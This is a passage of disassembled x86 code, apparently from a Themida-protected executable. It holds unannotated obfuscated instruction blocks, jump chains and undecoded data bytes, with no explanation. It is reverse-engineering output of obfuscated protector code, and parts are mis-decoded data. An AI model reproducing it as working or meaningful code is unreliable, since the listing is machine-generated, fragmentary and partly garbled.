loc_56AF17:				; CODE XREF: Themida_:00571DF0j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_55FE77
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 0E904C283h, 3429h, 0D324248Bh, 0E99C2404h, 0FFFF292Dh
; ---------------------------------------------------------------------------

loc_56AF40:				; CODE XREF: Themida_:005680FDj
		pop	edx
		pop	ebx
		push	ecx
		mov	ch, al
		jmp	loc_56C34B
; ---------------------------------------------------------------------------

loc_56AF4A:				; CODE XREF: Themida_:0055F31Dj
		sub	ecx, 566204E2h
		add	ecx, edx
		add	ecx, 566204E2h
		jmp	loc_566E47
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0F8h
		dd 43E9535Fh, 80FFFF7Fh, 7AE98BEBh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AF6F:				; CODE XREF: Themida_:00567065j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56312F
; ---------------------------------------------------------------------------

loc_56AF83:				; CODE XREF: Themida_:00563EF1j
		push	edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_55E531
; ---------------------------------------------------------------------------
		dd 753B68h, 240C8900h, 0B526B050h, 58C530B9h, 0E828CC2Ch
		dd 6E95366h, 83FFFF60h,	0C8904ECh, 5684E924h, 0E901FFFFh
		dd 30A1BB53h, 0D9010806h, 479DE9h
		db 0
; ---------------------------------------------------------------------------

loc_56AFC5:				; CODE XREF: Themida_:0056A049j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	2F7Fh
		jmp	loc_57181E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0B7E92424h, 48FFFFD1h, 62DB952Dh, 0E9C121C8h, 127Ah
; ---------------------------------------------------------------------------

loc_56AFF0:				; CODE XREF: Themida_:005697DEj
		mov	edx, [esp]
		add	esp, 4
		xor	bl, al
		push	eax
		mov	eax, esp
		push	479Ch
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_56DCA6
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8AE92434h
		db 38h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B01B:				; CODE XREF: Themida_:0056F7D6j
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		inc	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 29165557h
		xor	ebx, eax
		pop	eax
		shl	ebx, 1
		xor	ebx, 77234B8h
		push	eax
		mov	eax, 6B07280Ah
		inc	eax
		shl	eax, 5
		add	eax, 4B15AF1Ch
		xor	ebx, eax
		jmp	loc_5625C0
; ---------------------------------------------------------------------------
		align 4
		dd 2C5966C8h, 58C12062h, 0C980C1FEh, 50E9D075h,	0FFEEFAE9h
		dd 0C8B66FFh, 1ED06824h, 4890000h, 0E9E08924h, 5E25h
; ---------------------------------------------------------------------------

loc_56B07C:				; CODE XREF: Themida_:00561CDCj
		xor	edi, ebx
		xor	ebx, edi
		xor	edi, ebx
		sub	ebx, 1
		push	4F3Fh
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 1
		push	eax
		jmp	loc_560286
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0C8B662Dh, 0BB6EE924h, 0D9F7FFFFh, 20F1C981h, 0BD5542A6h
		dd 5F2C2CEBh, 0C581DDF7h, 952305Eh, 0FFFDBFE9h,	1C8966FFh
		dd 4EC8324h, 0B2241489h, 5AD78837h, 0A6E95166h,	87000070h
		dd 895C241Ch, 9C502414h, 0FF2774E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B0F9:				; CODE XREF: Themida_:005712E0j
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2000000h
		push	eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_570A1A
; ---------------------------------------------------------------------------

loc_56B12A:				; CODE XREF: Themida_:00561495j
		xor	esi, 58104108h
		jmp	loc_56B2E6
; ---------------------------------------------------------------------------
		db 9, 5Fh, 1Ch
		dd 51241C8Bh, 0C181E189h, 4, 8704C183h
		db 0Ch,	24h, 5Ch
; ---------------------------------------------------------------------------

loc_56B14B:				; CODE XREF: Themida_:00566B64j
		push	ecx
		jmp	loc_56AEB6
; ---------------------------------------------------------------------------

loc_56B151:				; CODE XREF: Themida_:0056DE37j
		shl	eax, 2
		xor	eax, 0D3B1D4BFh
		push	edx
		jmp	loc_56E41F
; ---------------------------------------------------------------------------
		db 0FEh
		dd 80DCF6CCh, 686646ECh, 89665119h, 0E6B62414h,	5A66F400h
		dd 458E688h, 26041Dh, 2C262CF0h, 255DE91Dh, 4870000h, 0EC835C24h
		dd 2032E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56B192:				; CODE XREF: Themida_:00562D6Cj
		add	esi, edi
		add	esi, 7F11168Bh
		jmp	loc_56FDE7
; ---------------------------------------------------------------------------
		db 31h
		dd 832CE9C8h, 1C8BFFFFh, 4C48124h, 57000000h, 0FF3793E9h
		dd 0BB5359FFh, 72020D90h, 0FF423DE9h, 245429FFh, 6402E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B1CA:				; CODE XREF: Themida_:00568CC5j
		mov	ecx, eax
		pop	eax
		jmp	loc_57194A
; ---------------------------------------------------------------------------

loc_56B1D2:				; CODE XREF: Themida_:00561BB6j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	0B0Eh
		mov	[esp], esi
		jmp	loc_565172
; ---------------------------------------------------------------------------

loc_56B1EF:				; CODE XREF: Themida_:005677DEj
		sub	dword ptr [esp+4], 1AB2CB4h
		jmp	loc_566BC9
; ---------------------------------------------------------------------------
aLSB		db '▀$$ИхB',0
		align 4
		dd 106C381h, 0E3D16DF3h, 0FF9A95E9h, 0E9CE28FFh, 0FFFFCC04h
; ---------------------------------------------------------------------------

loc_56B218:				; CODE XREF: Themida_:005670C7j
		pop	edx
		jmp	loc_56D817
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 0C71DE935h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B226:				; CODE XREF: Themida_:0056811Dj
		pop	edi
		push	ecx
		push	esp
		pop	ecx
		push	edx
		jmp	loc_56A04E
; ---------------------------------------------------------------------------
		dd 4C481h, 0EA810000h, 0B0089F56h, 0FF7619E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B241:				; CODE XREF: Themida_:0055F1C9j
		xor	eax, 5FB35FDh
		mov	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56858C
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 16EB505Bh, 0F745DDF7h, 74E581DDh, 813E212Ah,	0CD57B2E5h
		dd 0CED815Eh, 1160100h,	42D5DE8h, 0E9000000h, 0FFFFF267h
; ---------------------------------------------------------------------------

loc_56B280:				; CODE XREF: Themida_:00570644j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_561D8E
; ---------------------------------------------------------------------------
		db 81h
		dd 160666C2h, 24348B1Ah, 8704C483h, 665C2414h, 3166DA87h
		dd 33662414h, 31662414h, 0B2E92414h, 0FFFFFF25h, 0E9042474h
		dd 0FFFF9704h, 213BBD55h, 0B95140A5h, 7DC77247h, 2B89E181h
		dd 0E9C147CAh, 81D9F707h, 0BF485EC9h, 5D70E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56B2E6:				; CODE XREF: Themida_:0056B130j
		add	esi, 3D5917FAh
		or	esi, 3D137CF6h
		push	eax
		mov	eax, 282E6068h
		neg	eax
		jmp	loc_55DF7B
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EC81h, 14890000h, 46824h, 815A0000h, 0CB1601EBh, 81D3017Ah
		dd 0CB1601C3h, 0EC815A7Ah, 4, 0B8240489h, 2, 3F36B850h
		dd 41E95516h, 0C1000030h, 0EAD108E2h, 53E3F281h, 0BBE950C6h
		dd 87FFFFCDh, 535C2404h, 0EFC0D8B7h, 2EC8106h, 0E9000000h
		dd 0FFFF2A08h, 81D831ADh, 4ECh,	5C52E900h, 0C3810000h
		dd 4, 4C381h, 1C870000h, 54535C24h, 81241C8Bh, 4C4h, 2F656800h
		dd 4890000h, 0BFA3E924h, 1C33FFFFh, 24248B24h, 8B240487h
		dd 24D22424h, 0C6E99C24h, 80FFFF24h, 0FE88AAF7h, 81241C8Bh
		dd 4C4h, 0E9F00000h, 2CEBh, 582434FFh, 1C5F68h,	4182E900h
		dd 0C1010000h, 240C8758h, 0D324248Bh, 92E92424h, 33FFFF24h
		dd 248B241Ch, 2434FF24h, 5A2434FFh, 4EC8353h, 83242489h
		dd 5B042404h, 0FFE234E9h, 2434FFFFh, 0BA37E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B402:				; CODE XREF: Themida_:0056E89Dj
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_563158
; ---------------------------------------------------------------------------
		dd 32DFC681h, 0C681228Fh, 25004DFCh, 4B85059h, 1000000h
		dd 0FF5658C6h, 0E9042474h, 4245h, 582434FFh, 5BACE9h, 0E7C14700h
		dd 4661E905h, 5F680000h, 89000067h, 14F72414h, 28E95A24h
		dd 5E00002Eh, 8B24048Fh, 34FF2424h, 2434FF24h, 5B545358h
		dd 4B850h, 0C3010000h, 582434FFh, 0E904C483h, 0FFFFE929h
		dd 4C481h, 2DE90000h, 29000030h, 88C381D3h, 81684703h
		dd 815578C3h, 2434FF30h, 4C4835Ah, 241C8759h, 48B665Ch
		dd 8CE95324h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B4AB:				; CODE XREF: Themida_:005620F8j
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56A8D7
; ---------------------------------------------------------------------------
		dd 5159CA01h, 815578B9h, 59CB2930h, 388EB81h, 0B8E96847h
		dd 80FFFFFFh, 0F330EDF6h, 3E3C05Ah, 8004EBC0h, 0DE888EF3h
		dd 4F89E95Bh, 2C87FFFFh, 8F545C24h, 54682404h, 8900004Fh
		dd 71E9242Ch
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B4FB:				; CODE XREF: Themida_:00564356j
		xor	[esp], ecx
		xor	ecx, edi
		xor	edi, ecx
		xor	ecx, edi
		jmp	loc_56F733
; ---------------------------------------------------------------------------
		db 0FEh, 0CBh, 66h
		dd 0E901B252h, 39A0h, 4C481h, 0C8B0000h, 4C48124h, 0E9000000h
		dd 0FFFF2345h
; ---------------------------------------------------------------------------

loc_56B528:				; CODE XREF: Themida_:0056D827j
		push	ebx
		push	65274EF0h
		pop	ebx
		jmp	loc_55F50B
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFE81Bh, 6624248Bh, 6824048Bh, 4A43h
		dd 68243489h, 3B9Fh, 0E9242489h, 0FFFF5AA4h, 214DEE81h
		dd 34FF7A3Eh, 0E9505F24h, 0FFFF55F9h
; ---------------------------------------------------------------------------

loc_56B568:				; CODE XREF: Themida_:0056F0B5j
		pop	esi
		pop	dword ptr [eax]
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
aQsue		db 'QИ·E',0
		align 2
		dw 4481h
		dd 77F90424h, 6C01316Bh, 0BA520424h, 316B77F9h,	8245429h
		dd 48E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_56B591:				; CODE XREF: Themida_:0056FD38j
		push	eax
		mov	eax, 5D753E7h
		or	eax, 64A22326h
		shl	eax, 5
		add	eax, 1
		or	eax, 51FC593Eh
		push	edi
		mov	edi, 77FD541Fh
		jmp	loc_56258A
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FFC81FE9h, 4C381FFh, 83000000h, 1C8704EBh
		dd 0C895C24h, 0E928B124h, 0FFFFEE81h, 4EB81h, 0E9530000h
		dd 1651h, 83242489h, 8F042404h,	0BA522404h, 4, 191FE9h
		dd 247C2900h, 243C8B04h, 4C481h, 2C810000h, 8576AE24h
		dd 74DA6836h, 34890000h, 35A3E924h, 0C7810000h,	12644C16h
		dd 0EF81CF01h, 12644C16h, 2EBBE9h, 0FFFFBD00h, 0C281FFFFh
		dd 1D9D0AD5h, 0FF9948E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B639:				; CODE XREF: Themida_:0055E1B1j
		mov	ebx, 30111384h
		push	ebx
		xor	dword ptr [esp], 97C6230h
		pop	edi
		xor	edi, 97C6230h
		pop	ebx
		mov	esi, 0B047AEFEh
		xor	esi, edi
		pop	edi
		add	edi, esi
		pop	esi
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_570F60
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0EC83243Ch, 0D180E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B672:				; CODE XREF: Themida_:00566D38j
		add	esp, 4
		pop	eax
		jmp	loc_562AB4
; ---------------------------------------------------------------------------

loc_56B67B:				; CODE XREF: Themida_:0056C890j
		xor	edi, ecx
		pop	ecx
		shr	edi, 3
		not	edi
		push	ebp
		mov	ebp, 2A271797h
		or	ebp, 233E704Bh
		inc	ebp
		jmp	loc_56C895
; ---------------------------------------------------------------------------
		db 0B8h, 86h, 17h
		dd 56480479h, 0FFD4C6E9h, 0B3C180FFh, 0CE9042Ch, 1FFFFCAh
		dd 40559C8h, 0E9000000h, 0FFFFC0B3h, 4C481h, 0E9500000h
		dd 6F0Ch, 24048F54h, 5E95651h, 53FFFF4Fh, 1048B4BBh, 2EBC157h
		dd 0FF322BE9h, 0E9EB28FFh, 0FFFF6102h
; ---------------------------------------------------------------------------

loc_56B6E4:				; CODE XREF: Themida_:00563871j
		add	eax, ebx
		jmp	loc_562DBC
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E930FF66h, 0FFFF2179h, 8704C083h, 0B3E92404h, 8900003Ch
		dd 4C681E6h, 51000000h,	4B9h, 3258E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B712:				; CODE XREF: Themida_:0056B785j
		add	ebx, 0CFF2E29h
		add	ebx, ecx
		sub	ebx, 0CFF2E29h
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5606A5
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 0FFFFC7B4h, 66575166h, 66024ABFh, 665FF989h
		dd 4816651h, 666AF824h,	0BB66535Ah, 81667C5Ch, 665FE1C3h
		dd 8EBBC381h, 5BDA2966h, 0C1665966h, 536602EAh,	6682BB66h
		dd 0E9DA2966h, 6291h
; ---------------------------------------------------------------------------

loc_56B77C:				; CODE XREF: Themida_:0055F5C3j
		add	ecx, ebp
		add	ecx, 11567F12h
		pop	ebp
		jmp	loc_56B712
; ---------------------------------------------------------------------------
		dw 0DB68h
		dd 0E958654Dh, 0FFFF9DB9h
; ---------------------------------------------------------------------------

loc_56B794:				; CODE XREF: Themida_:0055EE94j
		mov	esp, [esp]
		movsx	ecx, ax
		push	5315h
		jmp	loc_5646F3
; ---------------------------------------------------------------------------

loc_56B7A4:				; CODE XREF: Themida_:005616EAj
		xchg	ebp, ecx
		or	ecx, 14FC0DC5h
		jmp	loc_56635A
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 8F04C483h, 248B2404h, 53EF6824h, 14890000h, 55E28924h
		dd 0FFE38CE9h, 0E9F589FFh, 2018h
; ---------------------------------------------------------------------------

loc_56B7D4:				; CODE XREF: Themida_:0056B938j
		push	ebx
		mov	bh, dl
		jmp	loc_56EDE1
; ---------------------------------------------------------------------------
		dd 1468E289h, 8900003Bh, 0BF57240Ch, 4,	0FF5258E9h, 2CD800FFh
		dd 66A9040Fh, 81241C8Bh, 2C4h, 148B5900h, 4C48124h, 83000000h
		dd 0C8904ECh, 49E95324h, 0B6FFFF31h, 0C0CEFEA0h, 0DEF607E6h
		dd 58AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_56B825:				; CODE XREF: Themida_:0056155Dj
		add	ebp, 49436199h
		jmp	loc_56048F
; ---------------------------------------------------------------------------
		dd 0F6FFE980h, 83B652D1h, 6228E9h, 52DAF700h, 0FF599CE9h
		dd 446BB9FFh, 0CE94BF5h, 89FFFFE1h, 416AE9D3h, 0E0890000h
		dd 0FF848DE9h, 5DEE01FFh, 0FF97BCE9h, 0FC581FFh, 5A722378h
		dd 0E95DE889h, 0FFFF5155h, 0EF06E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B87A:				; CODE XREF: Themida_:00561359j
		push	eax
		push	ebp
		mov	ebp, 5CC20A01h
		mov	eax, 0A33DF603h
		add	eax, ebp
		pop	ebp
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55E426
; ---------------------------------------------------------------------------
		db 83h
		dd 0E95204C4h, 0FFFF5D55h, 4C381h, 0C3810000h, 4, 31241C33h
		dd 1C33241Ch, 39685C24h, 0E9000063h, 3110h, 286DEB80h
		dd 6DC380EBh, 0C0B60F59h, 0FF8734FFh, 34FF2434h, 2434FF24h
		dd 0E924048Bh, 0FFFFD6D1h
; ---------------------------------------------------------------------------

loc_56B8E0:				; CODE XREF: Themida_:005663CFj
		xor	edx, 1F3A5BD9h
		jmp	loc_56BD72
; ---------------------------------------------------------------------------
		db 81h
		dd 3E79AEEh, 8BF729CBh,	0C4812434h, 4, 34FFF831h, 243C8B24h
		dd 18D5E9h, 0EF895700h,	0E7E9FB89h, 3500004Bh, 0E8C55B67h
		dd 6DD7E9h, 52C80100h, 0FFC1C5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B925:				; CODE XREF: Themida_:0055F024j
		push	ecx
		mov	cl, 2Dh
		add	cl, 0FFh
		xor	cl, 1
		push	edx
		mov	dl, 0ADh
		add	cl, dl
		pop	edx
		push	eax
		push	edx
		mov	dl, cl
		jmp	loc_56B7D4
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 48F545Ch, 5ABF5724h,	813C486Eh, 607EF6EFh, 0F9E78122h
		dd 5318A307h, 2707BA52h, 75E964E9h, 66FFFF42h, 0E9240C8Bh
		dd 0FFFF9D69h
; ---------------------------------------------------------------------------

loc_56B96C:				; CODE XREF: Themida_:00566372j
		mov	al, 3Ah
		mov	dh, al
		pop	ax
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	ecx
		mov	cl, al
		mov	dl, cl
		pop	ecx
		jmp	loc_56F294
; ---------------------------------------------------------------------------
		db 66h,	0C1h, 0E6h
		dd 66536606h, 667076BBh, 5ED0C681h, 66DE0166h, 5ED0EE81h
		dd 0FF6F53E9h, 241489FFh, 0CAE9ECB2h
		db 31h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B9AF:				; CODE XREF: Themida_:0055F544j
		neg	ecx
		sub	ecx, 0B0B43326h
		mov	esi, ecx
		jmp	loc_56595D
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 759B54D8h, 0E901C783h, 0FFFFE4D8h, 6F0CC381h, 0C329750Ch
		dd 0FF2D37E9h, 5AD689FFh, 0FF5084E9h, 5BDD01FFh, 0BF57C501h
		dd 344E47B2h, 3C8BFD29h, 4C48324h, 8124048Bh, 4C4h, 2BA5200h
		dd 1000000h, 24148BD5h,	0FF6C51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BA0D:				; CODE XREF: Themida_:00563D54j
		xor	edi, esi
		pop	esi
		mov	ebp, edi
		jmp	loc_55E145
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C8704EFh, 14895C24h, 49CDE924h
		dd 8F5C0000h, 0E95C2404h, 4233h
; ---------------------------------------------------------------------------

loc_56BA38:				; CODE XREF: Themida_:005668AFj
		not	esi
		add	esi, 0EFFACFEh
		jmp	loc_56A608
; ---------------------------------------------------------------------------

loc_56BA45:				; CODE XREF: Themida_:005678C2j
		add	esp, 4
		sub	[edi+24h], esi
		push	dword ptr [esp]
		jmp	loc_5614B5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 2FE181D9h, 812E7343h, 0FD26D8C1h, 0BD1E915h,	0E95C0000h
		dd 4098h
; ---------------------------------------------------------------------------

loc_56BA6C:				; CODE XREF: Themida_:0056C9F9j
		mov	ecx, 15E7367Bh
		sub	esi, ecx
		pop	ecx
		jmp	loc_570C10
; ---------------------------------------------------------------------------
aIHK		db '┴<$hиk',0
		dd 24248900h, 4240483h,	37EBE9h
		db 0
; ---------------------------------------------------------------------------

loc_56BA8D:				; CODE XREF: Themida_:00564854j
		add	esi, ebp
		push	ecx
		jmp	loc_56713C
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 97h
		dd 8110D747h, 0E82DCDF7h, 2B5CE95Dh, 0E954FFFFh, 39E4h
		dd 53240C89h, 8852B4B3h, 0C27AE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BABA:				; CODE XREF: Themida_:00561B0Fj
		sub	esp, 4
		jmp	loc_56DC39
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 28E9555Ch
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BACF:				; CODE XREF: Themida_:0056F72Ej
		mov	eax, 2BDC5F17h
		shr	eax, 7
		inc	eax
		push	edi
		jmp	loc_56CA49
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241C89h, 0FFFFE8B5h, 5C240C33h, 0FF420BE9h, 4C483FFh
		dd 2474FF53h, 70E95B04h, 89000001h, 0D1F6E9E7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BB0A:				; CODE XREF: Themida_:005615F0j
		add	esi, ebx
		add	esi, 178340B3h
		pop	ebx
		jmp	loc_564D13
; ---------------------------------------------------------------------------

loc_56BB18:				; CODE XREF: Themida_:00570483j
		add	esp, 4
		push	ecx
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	ebp, 59204046h
		sub	ebp, 29297931h
		add	ebp, ecx
		add	ebp, 29297931h
		add	ebp, 59204046h
		pop	ecx
		jmp	loc_564026
; ---------------------------------------------------------------------------
		dw 0D468h
		dd 8900000Ch, 90BA2414h, 0C101FB55h, 0FF5205EAh, 0E95A2404h
		dd 5800h, 0B5240C89h, 0EC8850A8h, 0FF58E788h, 81592434h
		dd 4C4h, 10C78000h, 0A4E9FD00h,	0B900002Dh, 294905D5h
		dd 2DD0E981h, 0F181181Ah, 608D7A1Dh, 70E9D1F7h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56BBA3:				; CODE XREF: Themida_:0056D9BEj
		xchg	eax, [esp]
		pop	esp
		push	5040h
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2F9B5796h
		xor	ebp, 2F9B5792h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		sub	ecx, 6D886CAAh
		add	ecx, 5F2A3299h
		add	ecx, edx
		sub	ecx, 5F2A3299h
		jmp	loc_566205
; ---------------------------------------------------------------------------
		db 5, 66h, 28h
		dd 7D0574E3h, 2D145917h, 76085F61h, 7427ED2Dh, 0E9F8016Bh
		dd 1F57h
; ---------------------------------------------------------------------------

loc_56BC14:				; CODE XREF: Themida_:0056CBC3j
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, edi
		jmp	loc_56AEE0
; ---------------------------------------------------------------------------

loc_56BC23:				; CODE XREF: Themida_:0056FA5Aj
		push	esi
		mov	esi, 1B043ED9h
		jmp	loc_56A405
; ---------------------------------------------------------------------------

loc_56BC2E:				; CODE XREF: Themida_:00570A89j
		mov	esi, 22E9641Eh
		or	esi, 574C11A4h
		sub	esi, 0F3E2AD13h
		add	ebx, esi
		pop	esi
		sub	edx, 227575A4h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 8B15F4Ch
		xchg	edi, esi
		jmp	loc_56790B
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048966h, 0FF1C04E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BC69:				; CODE XREF: Themida_:00566F6Bj
		xor	eax, 0C0AF8A53h
		jmp	loc_56A006
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 66596824h, 1C890000h, 5863E924h, 1C89FFFFh
		dd 33B9BB24h, 5CE90CA9h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56BC93:				; CODE XREF: Themida_:0056A0C2j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	edx
		jmp	loc_56E4EA
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0Eh
		dd 8900004Fh, 4C381E3h,	81000000h, 4ECh, 24048900h, 2FF5BA52h
		dd 0CA8148E2h, 5BF378EAh, 5294BF57h, 0FA011EFFh, 0F7E2D15Fh
		dd 2BC281D2h, 89F5E5A5h, 0EB815AD0h, 2184339Ah,	747C381h
		dd 0F2E91C26h, 1FFFF6Fh, 0B9515DE8h, 53C65958h,	41E1D141h
		dd 9D8BE981h, 0C809999Bh, 81240C8Bh, 4C4h, 0E8BE900h, 0E9810000h
		dd 0FE736FEDh, 159CA01h, 0ED815AD5h, 1EB447ABh,	28F5ED81h
		dd 0A7E906C7h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BD2F:				; CODE XREF: Themida_:00563230j
		push	7AA4h
		mov	[esp], esi
		mov	eax, [esp]
		jmp	loc_56FA03
; ---------------------------------------------------------------------------

loc_56BD3F:				; CODE XREF: Themida_:005690A0j
		push	ebx
		mov	ebx, 0BDC4484h
		or	ecx, ebx
		pop	ebx
		dec	ecx
		jmp	loc_567CE0
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 13C38158h, 0E9160200h, 1C9Ah, 3159CD01h, 0C6895DE8h
		dd 8124048Bh, 4C4h, 3DBDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56BD72:				; CODE XREF: Themida_:0056B8E6j
		push	0
		sub	[esp], edx
		pop	edx
		add	edx, 42C3D3Bh
		not	edx
		inc	edx
		add	edx, 0C673ACC0h
		sub	ebp, 14F44709h
		add	ebp, edx
		jmp	loc_565EBF
; ---------------------------------------------------------------------------

loc_56BD97:				; CODE XREF: Themida_:0056FA29j
		push	ebp
		jmp	loc_56CCDE
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0Eh
aXvSz		db '∙VшИ┤)',0
		align 4
		dd 0D03BD6B8h, 2A5C350Ch, 0E9516902h, 0FFFFBF50h, 4C781h
		dd 0C7830000h, 243C8704h, 0D1BF575Ch, 29612485h, 0EF815FFEh
		dd 22A608Eh, 0EC83F701h, 24348904h, 2A608EBEh, 47C78102h
		dd 0E93D0118h, 0FFFF3B01h, 0FEE9535Dh, 80FFFF21h, 0EEC045EEh
		dd 6E6C006h, 8009F680h,	0EE8001C6h, 5AF5887Bh, 4EC81h
		dd 1C890000h, 65CAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BE16:				; CODE XREF: Themida_:00567442j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 800000h
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_562B38
; ---------------------------------------------------------------------------
		dw 2C29h
		dd 0EDD15D24h, 2D2CD81h, 0ED812106h, 0FFFFFFFFh, 0C9BA5256h
		dd 0C1479D46h, 0BE5602EAh, 47E319CAh, 0FFC2C9E9h, 5BEB81FFh
		dd 817C302Ch, 0D2394AEBh, 0E3C3815Ah, 293B2B2Bh, 0E3EB81C3h
		dd 683B2B2Bh, 511Bh, 0B8240489h, 68012EACh, 0D07E8C1h
		dd 1A06CBBh, 311FE9h, 69C78000h, 68E9C728h, 89FFFFE2h
		dd 1B00E9EAh, 0FF55FFFFh, 5D042474h, 0E924048Fh, 2F74h
		dd 447AE95Ch, 0CD810000h, 44A705D7h, 0FF95B5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BEC5:				; CODE XREF: Themida_:00564B06j
		mov	eax, 76D839FBh
		or	eax, 3B1E660Fh
		not	eax
		jmp	loc_570F45
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 3E5C0E0h, 0E904E5C0h, 0FFFF5B81h, 4C2DD8F7h,	0E995011Bh
		dd 0FFFF37B6h, 6EE9E901h, 0BEFFFFE6h, 4, 0E95EF301h, 0FFFFB033h
; ---------------------------------------------------------------------------

loc_56BF04:				; CODE XREF: Themida_:005719BAj
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	4436h
		mov	[esp], edi
		mov	edi, 35B07432h
		xor	edi, 3F7F759Fh
		and	edi, 43840FFh
		or	edi, 6667186Dh
		neg	edi
